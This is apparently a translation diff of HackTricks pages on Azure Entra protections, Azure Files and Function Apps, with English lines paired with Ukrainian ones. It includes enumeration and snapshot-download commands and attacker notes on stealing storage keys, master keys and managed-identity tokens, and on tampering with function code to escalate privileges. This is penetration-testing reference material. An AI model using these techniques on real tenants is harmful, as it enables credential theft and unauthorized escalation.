- Максимальна тривалість (години) активації
- Вимагати MFA при активації
- Вимагати контекст аутентифікації умовного доступу
- Вимагати обґрунтування при активації
- Вимагати інформацію про квиток при активації
- Вимагати затвердження для активації
- Максимальний час для закінчення придатних призначень&#x20;
- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення, коли певні дії відбуваються з цією роллю
### Conditional Access Policies <a href="#title-text" id="title-text"></a>
### Політики Умовного Доступу <a href="#title-text" id="title-text"></a>
Check:
Перевірте:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Entra Identity Protection <a href="#title-text" id="title-text"></a>
### Захист Ідентичності Entra <a href="#title-text" id="title-text"></a>
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
Захист Ідентичності Entra - це служба безпеки, яка дозволяє **виявляти, коли користувач або вхід занадто ризикований** для прийняття, що дозволяє **блокувати** користувача або спробу входу.
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
Вона дозволяє адміністратору налаштувати її для **блокування** спроб, коли ризик "Низький і вище", "Середній і вище" або "Високий". Хоча за замовчуванням вона повністю **вимкнена**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
> Сьогодні рекомендується додавати ці обмеження через політики умовного доступу, де можна налаштувати ті ж самі параметри.
### Entra Password Protection
### Захист Паролів Entra
Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
It also allows to **ban a custom password list** that you need to provide.
Захист Паролів Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) - це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями, блокуючи облікові записи, коли відбувається кілька невдалих спроб входу**.\
Вона також дозволяє **заборонити користувацький список паролів**, який потрібно надати.
It can be **applied both** at the cloud level and on-premises Active Directory.
Вона може бути **застосована як** на рівні хмари, так і в локальному Active Directory.
The default mode is **Audit**:
Режим за замовчуванням - **Аудит**:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## Посилання
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,35 +4,34 @@
## Basic Information
**Azure Files** is a fully managed cloud file storage service that provides shared file storage accessible via standard **SMB (Server Message Block)** and **NFS (Network File System)** protocols. Although the main protocol used is SMB as NFS Azure file shares aren't supported for Windows (according to the [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). It allows you to create highly available network file shares that can be accessed simultaneously by multiple virtual machines (VMs) or on-premises systems, enabling seamless file sharing across environments.
**Azure Files** - це повністю керована служба зберігання файлів у хмарі, яка надає спільне зберігання файлів, доступне через стандартні протоколи **SMB (Server Message Block)** та **NFS (Network File System)**. Хоча основним протоколом є SMB, протоколи NFS для Azure file shares не підтримуються на Windows (згідно з [**документацією**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Це дозволяє створювати високо доступні мережеві файлові сховища, до яких можуть одночасно отримувати доступ кілька віртуальних машин (VM) або локальних систем, що забезпечує безперешкодний обмін файлами між середовищами.
### Access Tiers
- **Transaction Optimized**: Optimized for transaction-heavy operations.
- **Hot**: Balanced between transactions and storage.
- **Cool**: Cost-effective for storage.
- **Premium:** High-performance file storage optimized for low-latency and IOPS-intensive workloads.
- **Transaction Optimized**: Оптимізовано для операцій з великою кількістю транзакцій.
- **Hot**: Збалансовано між транзакціями та зберіганням.
- **Cool**: Економічно вигідне зберігання.
- **Premium:** Високопродуктивне зберігання файлів, оптимізоване для навантажень з низькою затримкою та інтенсивними IOPS.
### Backups
- **Daily backup**: A backup point is created each day at an indicated time (e.g. 19.30 UTC) and stored for from 1 to 200 days.
- **Weekly backup**: A backup point is created each week at an indicated day and time (Sunday at 19.30) and stored for from 1 to 200 weeks.
- **Monthly backup**: A backup point is created each month at an indicated day and time (e.g. first Sunday at 19.30) and stored for from 1 to 120 months.
- **Yearly backup**: A backup point is created each year at an indicated day and time (e.g. January first Sunday at 19.30) and stored for from 1 to 10 years.
- It's also possible to perform **manual backups and snapshots at any time**. Backups and snapshots are actually the same in this context.
- **Daily backup**: Точка резервного копіювання створюється щодня в зазначений час (наприклад, 19.30 UTC) і зберігається від 1 до 200 днів.
- **Weekly backup**: Точка резервного копіювання створюється щотижня в зазначений день і час (неділя о 19.30) і зберігається від 1 до 200 тижнів.
- **Monthly backup**: Точка резервного копіювання створюється щомісяця в зазначений день і час (наприклад, перша неділя о 19.30) і зберігається від 1 до 120 місяців.
- **Yearly backup**: Точка резервного копіювання створюється щороку в зазначений день і час (наприклад, перша неділя січня о 19.30) і зберігається від 1 до 10 років.
- Також можливо виконувати **ручні резервні копії та знімки в будь-який час**. Резервні копії та знімки насправді є однаковими в цьому контексті.
### Supported Authentications via SMB
- **On-premises AD DS Authentication**: It uses on-premises Active Directory credentials synced with Microsoft Entra ID for identity-based access. It requires network connectivity to on-premises AD DS.
- **Microsoft Entra Domain Services Authentication**: It leverages Microsoft Entra Domain Services (cloud-based AD) to provide access using Microsoft Entra credentials.
- **Microsoft Entra Kerberos for Hybrid Identities**: It enables Microsoft Entra users to authenticate Azure file shares over the internet using Kerberos. It supports hybrid Microsoft Entra joined or Microsoft Entra joined VMs without requiring connectivity to on-premises domain controllers. But it does not support cloud-only identities.
- **AD Kerberos Authentication for Linux Clients**: It allows Linux clients to use Kerberos for SMB authentication via on-premises AD DS or Microsoft Entra Domain Services.
- **On-premises AD DS Authentication**: Використовує локальні облікові дані Active Directory, синхронізовані з Microsoft Entra ID для доступу на основі ідентичності. Вимагає мережевої підключеності до локального AD DS.
- **Microsoft Entra Domain Services Authentication**: Використовує Microsoft Entra Domain Services (хмарний AD) для надання доступу за допомогою облікових даних Microsoft Entra.
- **Microsoft Entra Kerberos for Hybrid Identities**: Дозволяє користувачам Microsoft Entra аутентифікувати Azure file shares через інтернет за допомогою Kerberos. Підтримує гібридні Microsoft Entra приєднані або Microsoft Entra приєднані VM без вимоги підключення до локальних контролерів домену. Але не підтримує тільки хмарні ідентичності.
- **AD Kerberos Authentication for Linux Clients**: Дозволяє клієнтам Linux використовувати Kerberos для аутентифікації SMB через локальний AD DS або Microsoft Entra Domain Services.
## Enumeration
{{#tabs}}
{{#tab name="az cli"}}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -54,11 +53,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
# Download snapshot/backup
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
```
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
Get-AzStorageAccount
@@ -79,98 +76,87 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
```
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login --enable-file-backup-request-intent`.
> За замовчуванням `az` cli використовуватиме ключ облікового запису для підписання ключа та виконання дії. Щоб використовувати привілеї Entra ID, використовуйте параметри `--auth-mode login --enable-file-backup-request-intent`.
> [!TIP]
> Use the param `--account-key` to indicate the account key to use\
> Use the param `--sas-token` with the SAS token to access via a SAS token
> Використовуйте параметр `--account-key`, щоб вказати ключ облікового запису для використання\
> Використовуйте параметр `--sas-token` з токеном SAS для доступу через токен SAS
### Connection
These are the scripts proposed by Azure at the time of the writing to connect a File Share:
Це скрипти, запропоновані Azure на момент написання, для підключення до File Share:
You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAME>` placeholders.
Вам потрібно замінити заповнювачі `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` та `<FILE-SHARE-NAME>`.
{{#tabs}}
{{#tab name="Windows"}}
```powershell
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
# Mount the drive
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
# Save the password so the drive will persist on reboot
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
# Mount the drive
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
} else {
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
}
```
{{#endtab}}
{{#tab name="Linux"}}
```bash
sudo mkdir /mnt/disk-shareeifrube
if [ ! -d "/etc/smbcredentials" ]; then
sudo mkdir /etc/smbcredentials
fi
if [ ! -f "/etc/smbcredentials/<STORAGE-ACCOUNT>.cred" ]; then
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
fi
sudo chmod 600 /etc/smbcredentials/<STORAGE-ACCOUNT>.cred
sudo bash -c 'echo "//<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> cifs nofail,credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30" >> /etc/fstab'
sudo mount -t cifs //<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> -o credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30
```
{{#endtab}}
{{#tab name="macOS"}}
```bash
open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>
```
{{#endtab}}
{{#endtabs}}
### Regular storage enumeration (access keys, SAS...)
### Регулярна енумерація сховища (ключі доступу, SAS...)
{{#ref}}
az-storage.md
{{#endref}}
## Privilege Escalation
## Підвищення привілеїв
Same as storage privesc:
Так само, як і підвищення привілеїв сховища:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
{{#endref}}
## Post Exploitation
## Постексплуатація
{{#ref}}
../az-post-exploitation/az-file-share-post-exploitation.md
{{#endref}}
## Persistence
## Постійність
Same as storage persistence:
Так само, як і постійність сховища:
{{#ref}}
../az-persistence/az-storage-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,99 +4,99 @@
## Basic Information
**Azure Function Apps** are a **serverless compute service** that allow you to run small pieces of code, called **functions**, without managing the underlying infrastructure. They are designed to execute code in response to various triggers, such as **HTTP requests, timers, or events from other Azure services** like Blob Storage or Event Hubs. Function Apps support multiple programming languages, including C#, Python, JavaScript, and Java, making them versatile for building **event-driven applications**, automating workflows, or integrating services. They are cost-effective, as you usually only pay for the compute time used when your code runs.
**Azure Function Apps** - це **безсерверна обчислювальна служба**, яка дозволяє запускати невеликі фрагменти коду, звані **функціями**, без управління підлягаючою інфраструктурою. Вони призначені для виконання коду у відповідь на різні тригери, такі як **HTTP запити, таймери або події з інших служб Azure**, таких як Blob Storage або Event Hubs. Function Apps підтримують кілька мов програмування, включаючи C#, Python, JavaScript та Java, що робить їх універсальними для створення **додатків, орієнтованих на події**, автоматизації робочих процесів або інтеграції служб. Вони є економічно вигідними, оскільки зазвичай ви платите лише за час обчислень, коли ваш код виконується.
> [!NOTE]
> Note that **Functions are a subset of the App Services**, therefore, a lot of the features discussed here will be used also by applications created as Azure Apps (`webapp` in cli).
> Зверніть увагу, що **Functions є підмножиною App Services**, тому багато функцій, обговорюваних тут, також будуть використовуватися додатками, створеними як Azure Apps (`webapp` в cli).
### Different Plans
- **Flex Consumption Plan**: Offers **dynamic, event-driven scaling** with pay-as-you-go pricing, adding or removing function instances based on demand. It supports **virtual networking** and **pre-provisioned instances** to reduce cold starts, making it suitable for **variable workloads** that dont require container support.
- **Traditional Consumption Plan**: The default serverless option, where you **pay only for compute resources when functions run**. It automatically scales based on incoming events and includes **cold start optimizations**, but does not support container deployments. Ideal for **intermittent workloads** requiring automatic scaling.
- **Premium Plan**: Designed for **consistent performance**, with **prewarmed workers** to eliminate cold starts. It offers **extended execution times, virtual networking**, and supports **custom Linux images**, making it perfect for **mission-critical applications** needing high performance and advanced features.
- **Dedicated Plan**: Runs on dedicated virtual machines with **predictable billing** and supports manual or automatic scaling. It allows running multiple apps on the same plan, provides **compute isolation**, and ensures **secure network access** via App Service Environments, making it ideal for **long-running applications** needing consistent resource allocation.
- **Container Apps**: Enables deploying **containerized function apps** in a managed environment, alongside microservices and APIs. It supports custom libraries, legacy app migration, and **GPU processing**, eliminating Kubernetes cluster management. Ideal for **event-driven, scalable containerized applications**.
- **Flex Consumption Plan**: Пропонує **динамічне, орієнтоване на події масштабування** з оплатою за фактом використання, додаючи або видаляючи екземпляри функцій залежно від попиту. Підтримує **віртуальну мережу** та **попередньо підготовлені екземпляри**, щоб зменшити холодні старти, що робить його підходящим для **змінних навантажень**, які не потребують підтримки контейнерів.
- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **періодичних навантажень**, які потребують автоматичного масштабування.
- **Premium Plan**: Призначений для **послідовної продуктивності**, з **попередньо прогрітими працівниками**, щоб усунути холодні старти. Пропонує **подовжені часи виконання, віртуальну мережу** та підтримує **кастомізовані образи Linux**, що робить його ідеальним для **додатків, критично важливих для місії**, які потребують високої продуктивності та розширених функцій.
- **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний мережевий доступ** через App Service Environments, що робить його ідеальним для **додатків, що працюють тривалий час**, які потребують послідовного виділення ресурсів.
- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомні бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **масштабованих контейнеризованих додатків, орієнтованих на події**.
### **Storage Buckets**
When creating a new Function App not containerised (but giving the code to run), the **code and other Function related data will be stored in a Storage account**. By default the web console will create a new one per function to store the code.
Коли створюється новий Function App, не контейнеризований (але надається код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі Storage**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду.
Moreover, modifying the code inside the bucket (in the different formats it could be stored), the **code of the app will be modified to the new one and executed** next time the Function is called.
Більше того, модифікуючи код всередині кошика (в різних форматах, в яких він може бути збережений), **код програми буде змінено на новий і виконано** наступного разу, коли функція буде викликана.
> [!CAUTION]
> This is very interesting from an attackers perspective as **write access over this bucket** will allow an attacker to **compromise the code and escalate privileges** to the managed identities inside the Function App.
> Це дуже цікаво з точки зору атакуючого, оскільки **доступ на запис до цього кошика** дозволить атакуючому **компрометувати код і підвищити привілеї** до керованих ідентичностей всередині Function App.
>
> More on this in the **privilege escalation section**.
> Більше про це в **розділі підвищення привілеїв**.
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON-файлах, які ви можете знайти всередині.
Note that Functions also allow to store the code in a remote location just indicating the URL to it.
Зверніть увагу, що функції також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього.
### Networking
Using a HTTP trigger:
Використовуючи HTTP тригер:
- It's possible to give **access to a function to from all Internet** without requiring any authentication or give access IAM based. Although its also possible to restrict this access.
- It's also possible to **give or restrict access** to a Function App from **an internal network (VPC)**.
- Можливо надати **доступ до функції з усієї Інтернету** без вимоги будь-якої аутентифікації або надати доступ на основі IAM. Хоча також можливо обмежити цей доступ.
- Також можливо **надати або обмежити доступ** до Function App з **внутрішньої мережі (VPC)**.
> [!CAUTION]
> This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Function exposed to the Internet.
> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **перейти до внутрішніх мереж** з вразливої функції, виставленої в Інтернет.
### **Function App Settings & Environment Variables**
It's possible to configure environment variables inside an app, which could contain sensitive information. Moreover, by default the env variables **`AzureWebJobsStorage`** and **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (among others) are created. These are specially interesting because they **contain the account key to control with FULL permissions the storage account containing the data of the application**. These settings are also needed to execute the code from the Storage Account.
Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням створюються змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших). Ці змінні особливо цікаві, оскільки **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису зберігання, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису зберігання.
These env variables or configuration parameters also controls how the Function execute the code, for example if **`WEBSITE_RUN_FROM_PACKAGE`** exists, it'll indicate the URL where the code of the application is located.
Ці змінні середовища або параметри конфігурації також контролюють, як функція виконує код, наприклад, якщо **`WEBSITE_RUN_FROM_PACKAGE`** існує, це вказує на URL, де розташований код програми.
### **Function Sandbox**
Inside the linux sandbox the source code is located in **`/home/site/wwwroot`** in the file **`function_app.py`** (if python is used) the user running the code is **`app`** (without sudo permissions).
Всередині linux пісочниці вихідний код розташований у **`/home/site/wwwroot`** у файлі **`function_app.py`** (якщо використовується python), користувач, що виконує код, - **`app`** (без прав sudo).
In a **Windows** function using NodeJS the code was located in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, the username was **`mawsFnPlaceholder8_f_v4_node_20_x86`** and was part of the **groups**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
У **Windows** функції, що використовує NodeJS, код розташовувався у **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, ім'я користувача було **`mawsFnPlaceholder8_f_v4_node_20_x86`** і він був частиною **груп**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
### **Managed Identities & Metadata**
Just like [**VMs**](vms/), Functions can have **Managed Identities** of 2 types: System assigned and User assigned.
Так само як і [**VMs**](vms/), функції можуть мати **керовані ідентичності** двох типів: системно призначені та призначені користувачем.
The **system assigned** one will be a managed identity that **only the function** that has it assigned would be able to use, while the **user assigned** managed identities are managed identities that **any other Azure service will be able to use**.
**Системно призначена** ідентичність буде керованою ідентичністю, яку **тільки функція**, якій вона призначена, зможе використовувати, тоді як **призначені користувачем** керовані ідентичності - це керовані ідентичності, які **будь-яка інша служба Azure зможе використовувати**.
> [!NOTE]
> Just like in [**VMs**](vms/), Functions can have **1 system assigned** managed identity and **several user assigned** ones, so it's always important to try to find all of them if you compromise the function because you might be able to escalate privileges to several managed identities from just one Function.
> Так само як і в [**VMs**](vms/), функції можуть мати **1 системно призначену** керовану ідентичність і **кілька призначених користувачем**, тому завжди важливо намагатися знайти всі з них, якщо ви компрометуєте функцію, оскільки ви можете підвищити привілеї до кількох керованих ідентичностей з однієї функції.
>
> If a no system managed identity is used but one or more user managed identities are attached to a function, by default you wont be able to get any token.
> Якщо не використовується системно призначена ідентичність, але одна або кілька призначених користувачем ідентичностей прикріплені до функції, за замовчуванням ви не зможете отримати жоден токен.
It's possible to use the [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) to get tokens from the default managed identity from the metadata endpoint. Or you could get them **manually** as explained in:
Можливо використовувати [**PEASS скрипти**](https://github.com/peass-ng/PEASS-ng) для отримання токенів з за замовчуванням керованої ідентичності з кінцевої точки метаданих. Або ви можете отримати їх **вручну**, як пояснено в:
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
Note that you need to find out a way to **check all the Managed Identities a function has attached** as if you don't indicate it, the metadata endpoint will **only use the default one** (check the previous link for more info).
Зверніть увагу, що вам потрібно знайти спосіб **перевірити всі керовані ідентичності, прикріплені до функції**, оскільки якщо ви цього не вкажете, кінцева точка метаданих **використовуватиме лише за замовчуванням** (перевірте попереднє посилання для отримання додаткової інформації).
## Access Keys
> [!NOTE]
> Note that there aren't RBAC permissions to give access to users to invoke the functions. The **function invocation depends on the trigger** selected when it was created and if a HTTP Trigger was selected, it might be needed to use an **access key**.
> Зверніть увагу, що немає дозволів RBAC для надання доступу користувачам для виклику функцій. **Виклик функції залежить від тригера**, вибраного під час її створення, і якщо був вибраний HTTP тригер, можливо, знадобиться використовувати **ключ доступу**.
When creating an endpoint inside a function using a **HTTP trigger** it's possible to indicate the **access key authorization level** needed to trigger the function. Three options are available:
Коли створюється кінцева точка всередині функції, використовуючи **HTTP тригер**, можливо вказати **рівень авторизації ключа доступу**, необхідний для активації функції. Доступні три варіанти:
- **ANONYMOUS**: **Everyone** can access the function by the URL.
- **FUNCTION**: Endpoint is only accessible to users using a **function, host or master key**.
- **ADMIN**: Endpoint is only accessible to users a **master key**.
- **ANONYMOUS**: **Кожен** може отримати доступ до функції за URL.
- **FUNCTION**: Кінцева точка доступна лише користувачам, які використовують **ключ функції, хоста або майстра**.
- **ADMIN**: Кінцева точка доступна лише користувачам з **ключем майстра**.
**Type of keys:**
**Типи ключів:**
- **Function Keys:** Function keys can be either default or user-defined and are designed to grant access exclusively to **specific function endpoints** within a Function App allowing a more fine-grained access over the endpoints.
- **Host Keys:** Host keys, which can also be default or user-defined, provide access to **all function endpoints within a Function App with FUNCTION access level**.
- **Master Key:** The master key (`_master`) serves as an administrative key that offers elevated permissions, including access to all function endpoints (ADMIN access lelvel included). This **key cannot be revoked.**
- **System Keys:** System keys are **managed by specific extensions** and are required for accessing webhook endpoints used by internal components. Examples include the Event Grid trigger and Durable Functions, which utilize system keys to securely interact with their respective APIs.
- **Function Keys:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детально контролювати доступ до кінцевих точок.
- **Host Keys:** Ключі хоста, які також можуть бути за замовчуванням або визначеними користувачем, надають доступ до **всіх кінцевих точок функцій в рамках Function App з рівнем доступу FUNCTION**.
- **Master Key:** Ключ майстра (`_master`) слугує адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.**
- **System Keys:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії зі своїми відповідними API.
> [!TIP]
> Example to access a function API endpoint using a key:
> Приклад доступу до кінцевої точки API функції за допомогою ключа:
>
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
### Basic Authentication
Just like in App Services, Functions also support basic authentication to connect to **SCM** and **FTP** to deploy code using a **username and password in a URL** provided by Azure. More information about it in:
Так само як і в App Services, функції також підтримують базову аутентифікацію для підключення до **SCM** та **FTP** для розгортання коду, використовуючи **ім'я користувача та пароль в URL**, наданому Azure. Більше інформації про це в:
{{#ref}}
az-app-service.md
@@ -104,12 +104,11 @@ az-app-service.md
### Github Based Deployments
When a function is generated from a Github repo Azure web console allows to **automatically create a Github Workflow in a specific repository** so whenever this repository is updated the code of the function is updated. Actually the Github Action yaml for a python function looks like this:
Коли функція генерується з репозиторію Github, веб-консоль Azure дозволяє **автоматично створити робочий процес Github у конкретному репозиторії**, тому що щоразу, коли цей репозиторій оновлюється, код функції оновлюється. Насправді YAML дії Github для функції на python виглядає так:
<details>
<summary>Github Action Yaml</summary>
```yaml
# Docs for the Azure Web Apps Deploy action: https://github.com/azure/functions-action
# More GitHub Actions for Azure: https://github.com/Azure/actions
@@ -118,95 +117,93 @@ When a function is generated from a Github repo Azure web console allows to **au
name: Build and deploy Python project to Azure Function App - funcGithub
on:
push:
branches:
- main
workflow_dispatch:
push:
branches:
- main
workflow_dispatch:
env:
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
build:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Setup Python version
uses: actions/setup-python@v5
with:
python-version: ${{ env.PYTHON_VERSION }}
- name: Setup Python version
uses: actions/setup-python@v5
with:
python-version: ${{ env.PYTHON_VERSION }}
- name: Create and start virtual environment
run: |
python -m venv venv
source venv/bin/activate
- name: Create and start virtual environment
run: |
python -m venv venv
source venv/bin/activate
- name: Install dependencies
run: pip install -r requirements.txt
- name: Install dependencies
run: pip install -r requirements.txt
# Optional: Add step to run tests here
# Optional: Add step to run tests here
- name: Zip artifact for deployment
run: zip release.zip ./* -r
- name: Zip artifact for deployment
run: zip release.zip ./* -r
- name: Upload artifact for deployment job
uses: actions/upload-artifact@v4
with:
name: python-app
path: |
release.zip
!venv/
- name: Upload artifact for deployment job
uses: actions/upload-artifact@v4
with:
name: python-app
path: |
release.zip
!venv/
deploy:
runs-on: ubuntu-latest
needs: build
deploy:
runs-on: ubuntu-latest
needs: build
permissions:
id-token: write #This is required for requesting the JWT
permissions:
id-token: write #This is required for requesting the JWT
steps:
- name: Download artifact from build job
uses: actions/download-artifact@v4
with:
name: python-app
steps:
- name: Download artifact from build job
uses: actions/download-artifact@v4
with:
name: python-app
- name: Unzip artifact for deployment
run: unzip release.zip
- name: Unzip artifact for deployment
run: unzip release.zip
- name: Login to Azure
uses: azure/login@v2
with:
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
- name: Login to Azure
uses: azure/login@v2
with:
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
- name: "Deploy to Azure Functions"
uses: Azure/functions-action@v1
id: deploy-to-function
with:
app-name: "funcGithub"
slot-name: "Production"
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
- name: "Deploy to Azure Functions"
uses: Azure/functions-action@v1
id: deploy-to-function
with:
app-name: "funcGithub"
slot-name: "Production"
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
